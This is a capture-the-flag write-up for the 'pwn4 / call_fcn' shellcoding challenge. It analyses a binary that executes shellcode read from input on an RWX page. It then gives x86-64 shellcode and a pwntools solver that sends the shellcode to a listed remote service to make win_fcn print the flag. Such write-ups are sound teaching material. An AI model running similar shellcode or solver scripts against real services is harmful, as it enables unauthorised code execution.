pwn4 / call_fcn
pwn4 / call_fcn
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: absolute_address_jump, fread_eof_shutdown, magic_global_gate_satisfy, mmap_rwx_shellcode
Summary
Task: 64-bit NON-PIE NX ELF whose main itself mmaps a RWX page, reads up to 0x400 bytes of shellcode into it and calls it. win_fcn prints the flag only if a global qword equals 0xcafebabe. Solution: write shellcode that sets the magic global then jumps to win_fcn at its absolute address; close the send half so the fixed-count fread returns EOF and the flag is printed.
pwn4 / call_fcn — pwn_spbctf
Description
Just call win_fcn and make it print flag for you.
Tier: shellcoding. Remote service: nc 109.233.56.90 11668 on pwn.spbctf.ru.
The 64-bit ELF has NX enabled, but this challenge intentionally allows
shellcode because main allocates its own RWX page and jumps into it. The
goal is to make win_fcn decode and print the flag.
Analysis
Protections (downloaded binary):
- 64-bit x86-64 ELF, NON-PIE (base
0x400000) → absolute addresses are usable. - NX enabled, no canary.
Key functions:
-
main@0x400740:mmap(addr=0, len=0x1000, prot=0x7 /* PROT_READ|WRITE|EXEC */, flags=0x22 /* MAP_PRIVATE|MAP_ANONYMOUS */, fd=-1, off=0)→ returns an RWX page inrax.fread(buf=[rbp-0x410], size=1, nmemb=0x400, stdin)→ reads up to0x400bytes of attacker data.memcpy(rwx_page, buf, 0x400).call rwx_page→ executes up to0x400bytes of attacker shellcode.
-
win_fcn@0x4006b0:- Compares the qword at global
0x6010b0(the "get_flag" gate, BSS, initially0) to0xcafebabe. - If not equal → returns without printing.
- If equal → loops
i = 0..0xc(13 dwords) XOR-decoding the dword array at0x601050in place with the qword key, thenputs(0x601050)prints the decoded flag andfflush.
- Compares the qword at global
So win_fcn is gated behind a magic global. Since main literally jumps into
attacker-controlled shellcode on an RWX page, the gate is trivially satisfied
from shellcode: just write 0xcafebabe to 0x6010b0 and jump to win_fcn.
NON-PIE matters: all addresses (0x6010b0, 0x4006b0) are fixed, so no
leak is required.
Solution
The shellcode:
asm read-only • copy allowedmov rax, 0xcafebabe mov rbx, 0x6010b0 mov [rbx], rax ; satisfy the gate (qword == 0xcafebabe) mov rax, 0x4006b0 jmp rax ; jump into win_fcn -> XOR-decode + puts() the flag
There is plenty of room (the buffer takes up to 0x400 bytes).
Critical delivery detail: main uses fread(buf, 1, 0x400, stdin), which
blocks until it has 0x400 bytes OR sees EOF. The shellcode is far shorter
than 0x400, so fread would hang waiting for more input. The fix is to call
shutdown('send') after sending the shellcode, closing the write half of the
socket so fread sees EOF and returns. Then win_fcn runs and the flag is
printed.
Flag source note (reusable): the downloaded binary's flag data at
0x601050 are dummy placeholders (0x01, 0x02, ...). The real flag is
patched into the server's copy, so calling win_fcn on the remote service
decodes and prints the genuine flag.
Solver
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time HOST, PORT = '109.233.56.90', 11668 # NON-PIE RWX shellcode (up to 0x400 bytes). Set qword [0x6010b0]=0xcafebabe, # then jump to win_fcn @0x4006b0 which XOR-decodes and puts() the flag. # mov rax, 0xcafebabe # mov rbx, 0x6010b0 # mov [rbx], rax # mov rax, 0x4006b0 # jmp rax sc = bytes.fromhex('48b8bebafeca0000000048c7c3b010600048890348c7c0b0064000ffe0') log.info("shellcode len = %d", len(sc)) io = remote(HOST, PORT) io.send(sc) io.shutdown('send') # EOF so fread(buf,1,0x400,..) returns time.sleep(0.6) data = io.recvall(timeout=4) print(data.decode(errors='replace')) io.close()
Equivalent assembly with pwntools:
python read-only • copy allowedcontext.arch = 'amd64' sc = asm(''' mov rax, 0xcafebabe mov rbx, 0x6010b0 mov [rbx], rax mov rax, 0x4006b0 jmp rax ''')